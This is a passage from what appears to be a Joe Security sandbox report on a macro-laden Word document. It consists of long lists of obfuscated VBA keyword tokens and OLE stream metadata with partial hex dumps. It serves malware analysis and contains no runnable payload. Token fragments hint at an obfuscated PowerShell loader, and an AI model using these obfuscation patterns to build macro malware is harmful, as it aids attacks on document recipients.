22 Keyword (qzgcg CInt(iCnkLD LKjXz CInt(vVLwc (KctPc CInt(udQqX CInt(NONWj rstetjs() VSYjSukdj() CInt(jqJoBt NiPlL (KkpfvZ cvgmkgiyitf lihbm CInt(ijGHrE ztvqyirdeu() CInt(sNaHm owdpclobnv UWPLGi TDRcbDo (zriju CInt(GWQqwV CmOzj (lamhch twondxirl obzlmwy() QTiArP rsqdzijiajj (zwolq (vdlsoj CInt(SzokW UHiZTnipor lzaja CInt(IDRwbw MnwIjqclD (hgdrin rkemx (zmkckj SqdlCAsmWO (CsnbMM (bqiwr CInt(sEQicQ iyqxj (CjvYPd WKLTQFYEWPb() BBhcXsMORf CInt(kSqFqD CInt(PStdhb chtijdapn() aizsc hjdqi (IoZJZ pavadmozh nxeotf HJiOLju() (CEJUIS CInt(JbnVnw (bahrrv (vopju Djcjds hsxafr (XCwXVJ (HKlbYw Copyright Joe Security LLC 2018 Page 22 of 165

23 Keyword CInt(jZELul ZIJifCL CInt(FFJBZ CInt(vaqbP wosoz (acncn LpdbOH (fzebhl (XzwjOp frdwb CInt(jGrXcw shcfbw (knzhd pmfkvhyd FuMFKm brgapo GrCWp CInt(ujIUd aocdk WKLTQFYEWPb STYfkimBkK VB_Name (SMpih Jdkal CInt(psWjX CInt(oXUKU CInt(kRDHJb (TZVWNP TnFhOXLYt CInt(UQfjcs DzFTvZ CInt(URoqEK (pxeuz imwdi CInt(CCizK (RGFYuf CInt(ZNXOsJ CInt(hiQTA BTNdCA wjcnyf wzeinxxyvjb() GvWUKsOK NMYHk (WfsErr MNUsv CInt(TrqZb CInt(jAtTWw sxwync CInt(rCDvjQ LPoTY iwmxojkt() VcsGc PwXVMJKGBJ IbzXss SZIqP RvtAlLXspJP CInt(SoYXKr CInt(IGNrGj JtrzkWTjWi() wzvijscbif (YLpQhZ (CutvUj CInt(VvjNPL OoDTFVG Copyright Joe Security LLC 2018 Page 23 of 165

24 Keyword CInt(zXiHK OIiQZw CInt(SzXHZf hpuctv GvzQBQRHEOC CInt(OBSHf CInt(Zjqpw "ITE" opiouto zuatnspkr sdwtzno VSYjSukdj CInt(oTbJKm chtijdapn CInt(swKan CInt(RLTNl jmwainwbfh CInt(OYIVr nutsztoz TtNPGI Xavlz joqds wgztrw ZDYfqMlfiYL BSmWV (wwrjo CInt(TiUuh CInt(dRITZp YKiDC XrZGrYfst (zozdbq "HOM" cqclj (utjzfc (wozld (asvvj (VrzwcR jcrooa CInt(kNLnu FSDZacGzrfB anfhp (Jjimbz EJnAzH CInt(JBfUZ CInt(zoNVE obzlmwy (AFwtH QfPRu SRFUjViTja XKjRj (ORKVY LGhao CMfKjOz dysccj "Ari" "+'X" CInt(iTkXYf YnilJ NwVaIq CInt(VoujSU zzmvycnz (jhkgj PtaBOf (SEphJz Copyright Joe Security LLC 2018 Page 24 of 165

25 Keyword JYEwiVIzB JzPUQ IGPnICDCWTb KawHuHM favhlna ISowq() (pvvqmd udjcs CInt(JAsoOF hwhczm (vwlze (hlmjju CInt(MKjqL WWpPwk (RQjVR bwhizp CInt(uwilw ztvqyirdeu CInt(ABVEE ibfowfccxuh ifsekjzwf() (oenibl CInt(slQzlk SGOTNTvJN CInt(bTUro CInt(QWrsEp (zaloux sqxyicqd GnfjXa OmpYKl CInt(dHtASc CInt(fnkzYJ (YuViQ tcbfivarj (UiaKk DUORpB VOWnbO (BDVRSB mbqahflyhbk lkzkd CInt(alaCww cukjin uimrmlnv pfzku IpzIOVuY (vrwqj bvnztvt syhsofbsdg CInt(SBKXXw (mnhki CInt(iazGO rkvynk zzowv vcqqim CInt(LikWL (jsahtd MAjrk CInt(bNNjDk CInt(LTHCT pwaxzp NWnUbs bvnztvt() CInt(tbiAS CInt(ibuhOh Copyright Joe Security LLC 2018 Page 25 of 165

26 Keyword (PtLoiu CInt(UnVNPI (EJuWd (LocZT (FMUqD JnPaA WuuAb (YcuFrV (jkmli cnmas nzhjwiz CInt(UFbEiw IOnmVsQ (sfwpag (djnjw iwmxojkt CInt(DzBfzN CInt(kqOcH LGOWTYL zmriqhelc (JzcKs "abl" CInt(QjFwQ NTzJc iqkhd UiDhId ijzcpv ujyzaf (JRFjJu CInt(XdHahT idvio CInt(jYGQo ZIJifCL() rstetjs XUKXSOY owqzs (lctvt KuaAz (MjaqY (wyrke DLvHwp ptbzxuaao (XPWHz (TmCAS CInt(XEOmCn imtnp (aouhz CInt(iNCPEo (vmmxho (wiuspm lpxoil() (BkvVW lpxoil (svrnbg wzrlwhh CInt(nsCYpI (BrpvWR ptsjze vdakiz CInt(FZdAil (IIUojz (OsBhi (pejpo CInt(WMusEd Copyright Joe Security LLC 2018 Page 26 of 165

27 Keyword (qlsvr VKCVXvNUlf CInt(qLYJK (RYNYB FTvXJD (wiorc (TiDRA JOLHuiDbp IbACjL tqjjjq ilhirciv (wwdwsw CInt(VUVHZ GbjdsSzaO CInt(ztjXPs CInt(wPoFI IillZk CInt(iHLjt (JDJIX CBZwE bjbbliouk CInt(ETPnJ vmvlkqkzr (ThwFjj UWVAF QVvdLVKAB (JMfTcs UIKnQ JsboCHaEndt zjjlb HJiOLju ixwoqvha() (wwavhd wzott CInt(LvZmCd XGCZYZ lhsik (cfiqt (jxjjus jdqmfr CInt(dXtZES (RwiuQ (ioaxs aivovw CInt(CkfGi CInt(vzHHT QKSoJG (LSfLt (MYulWj knnbzh blomh PFKSVWaiM zfejibchw CInt(bcquI CInt(EsGSC WIrpr() wzqkjwddk pcneotliw (ZmXYdS oncop PlaujEPJIh ssfxns jbfvr CInt(OMaTW Copyright Joe Security LLC 2018 Page 27 of 165

28 Keyword CInt(VdIhcm (cczsj bldgzvzco zcrioh (KqlKi CInt(WqRnU vhsiadvt() jhidu (tirqdm CInt(FOAXO (BKjKo jjpkd (LlRHYc CInt(CKSANt (ndxqa (VrAzjw CInt(BzUBb "rea" CInt(mYtPTi (thkwh rmish (UjzzO CInt(icclO pqjbz CWmhiV UcFzi (kjrlsj CvVXJaPiGcl XKViE (zzjisg (ntjlz (akino CInt(aHQibh dwfplj QpOGDTjaC qczpdc (YiNtQ ArMzGo HTsjujli JTfrk "ofs" CInt(pqoEw UODRbC CInt(lmtuR VSzAJii wfivqcdbt rztvo (ZpiCAr jskztjhaqem (SzfouV CInt(NmBdq ualsszugsl (ontqub KnZYzIdi Ehcjq oqilrqjnb CInt(sMcYRB kkpdrbtvmst CInt(EPGiSG (QALIz azbvzoaqok CInt(bIwiSm (RLzPj akynzku Copyright Joe Security LLC 2018 Page 28 of 165

29 Keyword CInt(SIwjDF CInt(FhvALr JQatb uaonws RONvpdcBwH CInt(DXnrXr (LmulsZ wehbe (DMSUJE fosqp NamHVRQjQSA (jklgh "e:o" Error PlaujEPJIh() EvhGsR lpcitx zjowns wzeinxxyvjb CInt(rDHbou (XBrEV (trdvsx (dflcsg (pfjamv (ZwCmOZ driban CInt(isWvBj zuruhz OJzWLi sjpks YANYzbJX CInt(iHjHfm sqxyicqd() CInt(QWMHFu swnikj CInt(GarlH (qidmij lznwojqjlmw (bnpal CInt(mAKZki CInt(UowcKm ulxwk (iswwk hjiaqu OUXjFC dokfrt (ciszb qztzzv CInt(IMjBqw (dwmpm AzTRh slrbhq CInt(FUiIE jwldswxjzo (krkxzz jjuqzmhadjd CInt(Szzqn "NG]" (Kbtjp TsktcOVoqRR (hzlbwb NYjkYA (UOpPR (vjsbac Copyright Joe Security LLC 2018 Page 29 of 165

30 Keyword FFVAhC CInt(pzBGPw (EnErN CInt(KRWwmZ (ihsbmy mjadd (VDFoEm (DpzRHh Inulqz WAzwCP() izwpfx ZCccOtiJ (ioooxa CInt(wHhWoo ddehuu (QJMoG rludqj GfjpaQ GsfwdS (CfSiw UqHIoQ czibnzyxb aahjaznjp (JpTPCQ CInt(HIPiMU (ahkrf VUdvzj qtapzw pdspup (nwani CInt(NmjFtR AsNhQo kioissc mcojg (ENXnMj TwsDO OfDijF CInt(uLXsC CInt(AffsnF (NjldW CInt(VaFpL CInt(oRIVvZ votmjlk WuXfHCqw (IXSbnK (ivhraz WAzwCP arflpu QwHMl CInt(YOAshk CInt(omidjV fzvhuu BWGEtNO JfoJAH AzBtPwkaF tjildniyhw ozrta (bwsoi zhlwdn (XVXmGo JrrXMKZp FtJOEYBBBd CInt(mzFMi "T-i" Copyright Joe Security LLC 2018 Page 30 of 165

31 Keyword (wdxtw GcPzBhUbs (tailr "PSh" CInt(Aftbm CInt(EHtSYv (bsuls kjijd CInt(IOlLP (BjtjQB (HYDwBr OvkjkNNr CInt(doztk imnuilpu wuxhhl "[St" nioywwifbql CInt(MvjHaq CRkCkVzdIiz CInt(kEAKIE zplbp (fwlwms (ZFddK iyrqw CInt(awfzIp bvrjnhjzi nlwwit GrZIz woqrci CInt(bQfcr sfsap DuQSl CInt(ctQwfs (rjvwz PNpkwM YFYzSS CInt(lQfSRZ nobllr CInt(wauMCO RzvVz ZqjDz "'Va" LwuaF CInt(pbLMF (NfwsOG mihkg (PThtu CInt(WUwhi VTkJHwSbWiS URwMNp (BwFsJ QYXnNp (cfpxwz fsnzom uaftii TvKvfu WqtwIwL iurph siiyqb wcods CInt(tpczTF CInt(TNvXc CInt(RcvtUn (zehmj Copyright Joe Security LLC 2018 Page 31 of 165

32 Keyword RCMFJujBJ XAFUii CInt(uzVDR XtKjzHw (acwunv jjuln (cqfdpd RkIabf ldhsj CInt(VbFPco CInt(IzPiL cruhbv (FNBnlk CInt(JUtSK CInt(fRzwU CInt(zBVMSO TFzbDUtc wkfcfv URjTuFt() idbzjhkiu (LSAiVo (NmkWZZ zlbin (HMitI UpmAhn (jcsjh (qpjok TAiVl tdmwi (skivnj (KzzNH mqiswk DSRFsb YcojLqicwE rakwvrurkpm CInt(XShVo (ktisi pdqnaz (arbwmm OuGvc iizwbpbljb CInt(BqMSIA (kvgre (opugaq LNvQW XtIHnEbG (wvdbc CInt(hJDNf (jijwaa SEvZztzNca CInt(EzIVl (EFnmdw CInt(uXWURs "$ps" fdycia RvtAlLXspJP() (VMkDuk DZLpEizMQ (kztzt wjempw CInt(mjkiX jtwwby XwKnEFifOt JJdlQdMUwu Copyright Joe Security LLC 2018 Page 32 of 165

33 Keyword CInt(TjETPR (pokjiu CInt(zqUTtB WuXfHCqw() "XoR" qiszd CInt(EXkEUX CInt(dVvLX (nirwl qdcfnskg (DnzowJ ubfzm CInt(RYRuk CInt(mjFAz ECGwCdGzGn Attribute CInt(SKkSf nbslu ontqmq CInt(fRArZ CInt(ZNZkHn CInt(zZtwfA CInt(kYjtK LVqCLb (FblvDD JsfLwfcAl slaua CInt(MakWYi CInt(DBiOFG CInt(XZHsQD mmnlhkehm CInt(LrizM nbbkg WMBowM URjTuFt driban() ffqycp (OUYDs ioclizqefrt CInt(BSVwrl IwuWlu CInt(pwntQC (SiiGiz CInt(whLcj XSAGGO ktfuvits AthvsfhXO onzrwwrmq CInt(fzUdL CInt(YmVMMA ngjfzzwvrrm SJaSWI PYsPNqdzj aziud CInt(YXRiCs (JBOBp CInt(IROGOF CInt(XXZaOj ztbwqjcp CInt(tmWrj jhziwnzmwbh BwIEibvsN YiQdEUpSki lohzhuplw Copyright Joe Security LLC 2018 Page 33 of 165

34 Keyword CInt(DnzUT iisrgj jkzzvw() GEzFBZz pbpqu racumq (YSpSW nhcub WCbkc hpuctv() SqdlCAsmWO() ftmqsiucq CInt(HXoOEO YUnvzz CInt(jwiFT CInt(zXbjXF GoBSsOYv pqubzc "tem" rjakrr CInt(AwUhI qnkoe itxul ZYFpONN kioissc() Resume CInt(cwNJc avuiz RpaZiO CInt(PmciwU iuizsfdb DdhivaIYcB (RazVA CInt(JXZQq SjpBz hmwwr ditawj CInt(RPqpo zclfsm (jtslb CInt(taqKz "jyrbjuccmf" GMnWApHOfjo TKtpvz (kpmtl azrvdl jzmfp (QBiST CInt(pQMEjw JXjiM cvgmkgiyitf() Inulqz() MnrOQn CInt(RwKHjz mrogo (lpjci UziQUP (VSvKQ CInt(cocTa wlqlk (JomWq slaua() CInt(cDpQI (PtoVAh Copyright Joe Security LLC 2018 Page 34 of 165

35 Keyword CInt(iozqS CInt(jJVLE (BnoWwO (akxug vhsiadvt KfOCMC YBMuLT upcml irvsbgdszha ITfKNW CInt(VdRpc CInt(PojEP rsqdzijiajj() (qaignk CInt(BPwXw UItwuM ifsekjzwf (SqRjM CInt(NjrQs ixwoqvha blhsbk (bngwmg LBaJT CInt(DHskDz (IHfDT CInt(qjksk OGsmzV (puasyw CInt(SrAbAn CInt(VLwMW (JoalO hqrjmzxwt mtaxdvx (BSXii bxnhfxjvipu CInt(bliaIS (PjQwBA IffCO XEBLQp (MSHMAn imfbf (RsiFo jfiit lfzea GbhKdHG GriOZj (kcqql OnGVh zhmtkl (maidi JKQAawojALY opwxvp HhHoj (jzmxm GMnWApHOfjo() (YAKMn wjcnyf() OzfiHR CInt(iCALH jrnwl WAjHGTXhL POrEz (RQcvsX CInt(jPwXj Copyright Joe Security LLC 2018 Page 35 of 165

36 Keyword qexqfm CInt(bJlsc JtrzkWTjWi CInt(pumXKz DDAJWjfqDL AwFwBp (Orizi (TkZwI coyoij CInt(UWsAU CInt(UtWfOU (ivmdj CInt(njEWYU nbvst CInt(GAair (lypiuc XKGAPbpoa QmRwvS KawHuHM() (uwrlb (GzCTJW (PjaZNn CwjcQUj EzUWGoAjKw (GTpRfD ajlrpbq imwdi() CInt(EYnpus (DNwPJ akynzku() CInt(liwXz SALDA CInt(ThMmbJ (NRNsjw CInt(zUnbEi ouodbnw wcrizs VARpVBQwCfS AFLAV CInt(XZRhFA (SFjVW zdriq phhqtijl Function JMIsBn CInt(GDkHzS CInt(pIaqX (nslbxq (WosnK ISowq (NwFTs GnfjXa() NXOAU (ntfqhj SGCzC ponef rzclnjj CInt(NwPwRT nfvdi (iorzyz VBA Code Copyright Joe Security LLC 2018 Page 36 of 165

37 Streams Stream Path: \x1compobj, File Type: data, Stream Size: 114 General Stream Path: File Type: Stream Size: 114 \x1compobj Entropy: Base64 Encoded: Data ASCII: data True F... M i c r o s o f t W o r d D o c u m e n t..... M S W o r d D o c..... W o r d. D o c u m e n t q Data Raw: fe ff 03 0a ff ff ff ff c d f 73 6f f d f d 65 6e a d f f f e 44 6f d 65 6e 74 2e f4 39 b Stream Path: \x5documentsummaryinformation, File Type: data, Stream Size: 344 General Stream Path: File Type: Stream Size: 344 Entropy: Base64 Encoded: \x5documentsummaryinformation Data ASCII: , ( Data Raw: data False fe ff d5 cd d5 9c 2e 1b b 2c f9 ae d f f a b a b b Stream Path: \x5summaryinformation, File Type: data, Stream Size: 440 General Stream Path: File Type: Stream Size: 440 \x5summaryinformation Entropy: Base64 Encoded: Data ASCII: O h ' p ( N o r m a l. d o t m Data Raw: data False fe ff e0 85 9f f2 f9 4f ab b 27 b3 d c a b c d Stream Path: 1Table, File Type: ARC archive data, crunched, Stream Size: 7766 General Stream Path: File Type: Stream Size: Table ARC archive data, crunched Entropy: Base64 Encoded: True Data ASCII: w v... v... v... v... v... v... v... v... v > Data Raw: 1a f e e e e e e e e Stream Path: Data, File Type: data, Stream Size: Copyright Joe Security LLC 2018 Page 37 of 165

38 General Stream Path: File Type: Stream Size: Entropy: Base64 Encoded: Data data True Data ASCII:. p.. D. d w =. - S. S c A....? P. i. c. t. u. r. e " R.... o a.. s... o..... D F... o a.. s Data Raw: d 00 2d f f0 6a b2 04 0a f a b f f bf ff c Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 494 General Stream Path: File Type: Stream Size: 494 Macros/PROJECT Entropy: Base64 Encoded: Data ASCII: ASCII text, with CRLF line terminators True I D = " { C 4 C 4 F D D C - B E A } ".. D o c u m e n t = H s j U i h Y z W K I j Q c / & H M o d u l e = j Y R B j U c C M F.. M o d u l e = T i k S I V Y X.. E x e N a m e 3 2 = " w h O q s k B l P ".. N a m e = " P r o j e c t ".. H e l p C o n t e x t I D = " 0 ".. V e r s i o n C o m p a t i b l e 3 2 = " ".. C M G = " D C D D D D ".. D P B = " 6 A 6 8 D 8 2 F 0 Data Raw: d 22 7b d d d d d 22 0d 0a 44 6f d 65 6e 74 3d a a 57 4b 49 6a f d 0a 4d 6f c 65 3d 6a a d 46 0d 0a 4d 6f c 65 3d b d 0a e 61 6d d 22 Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 107 General Stream Path: File Type: Stream Size: 107 Macros/PROJECTwm Entropy: Base64 Encoded: Data ASCII: H s j U i h Y z W K I j Q c. H. s. j. U. i. h. Y. z. W. K. I. j. Q. c... j Y R B j U c C M F. j. Y. R. B. j. U. c. C. M. F... T i k S I V Y X. T. i. k. S. I. V. Y. X..... Data Raw: data False a a 57 4b 49 6a a a b a a a d a a d b b Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: General Stream Path: File Type: Stream Size: Macros/VBA/_VBA_PROJECT Entropy: Base64 Encoded: data False Data ASCII:. a *. \\. G. { E. F C }. # #. 9. #. C. :. \\. P. r. o. g. r. a. m.. F. i. l. e. s. \\. C. o. m. m. o. n.. F. i. l. e. s. \\. M. i. c. r. o. s. o. f. t.. S. h. a. r. e. d. \\. V. B. A. \\. V. B. A \\. V. B. E. 7. Data Raw: cc 61 af ff e a 00 5c b d d d d d e Stream Path: Macros/VBA/ SRP_0, File Type: data, Stream Size: 1288 General Stream Path: File Type: Macros/VBA/ SRP_0 data Copyright Joe Security LLC 2018 Page 38 of 165

39 General Stream Size: 1288 Entropy: Base64 Encoded: False Data ASCII:. K * * \\ C N o r m a l r U ~... ~... ~... ~... ~... ~ l ^ g O %. G e Data Raw: 93 4b 2a af ff ff ff ff a 5c 43 4e 6f 72 6d 61 6c e e e e e Stream Path: Macros/VBA/ SRP_1, File Type: data, Stream Size: 110 General Stream Path: File Type: Stream Size: 110 Macros/VBA/ SRP_1 Entropy: Base64 Encoded: Data ASCII: r U ~ } Y p Data Raw: e 7d f a ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f data False Stream Path: Macros/VBA/ SRP_2, File Type: data, Stream Size: 220 General Stream Path: File Type: Stream Size: 220 Macros/VBA/ SRP_2 Entropy: Base64 Encoded: data False Data ASCII: r U Y a ` Data Raw: e e d Stream Path: Macros/VBA/ SRP_3, File Type: data, Stream Size: 66 General Stream Path: File Type: Stream Size: 66 Macros/VBA/ SRP_3 Entropy: Base64 Encoded: Data ASCII: r n Data Raw: ff ff ff ff ff ff ff ff e f data False Stream Path: Macros/VBA/dir, File Type: amd 29k coff noprebar executable, Stream Size: 638 General Stream Path: File Type: Stream Size: 638 Macros/VBA/dir Entropy: Base64 Encoded: amd 29k coff noprebar executable True Data ASCII:. z *..... p.. H..... d P r o j e c t. Q. =..... l j.. ] ;... J. <..... r s t d. o l e >.. s. t.. d. o. l. e P... h. % ^.. *. \\ G { C } # # 0 # C :. \\ W i n d o w s. \\ s y s t e m 3. 2 \\. e 2. t l b. # O L E A u t. o m a t i o n. `.... E N o r m a l.. E N. C r. m. a Q. F *, \\ C.... ]. m.. Copyright Joe Security LLC 2018 Page 39 of 165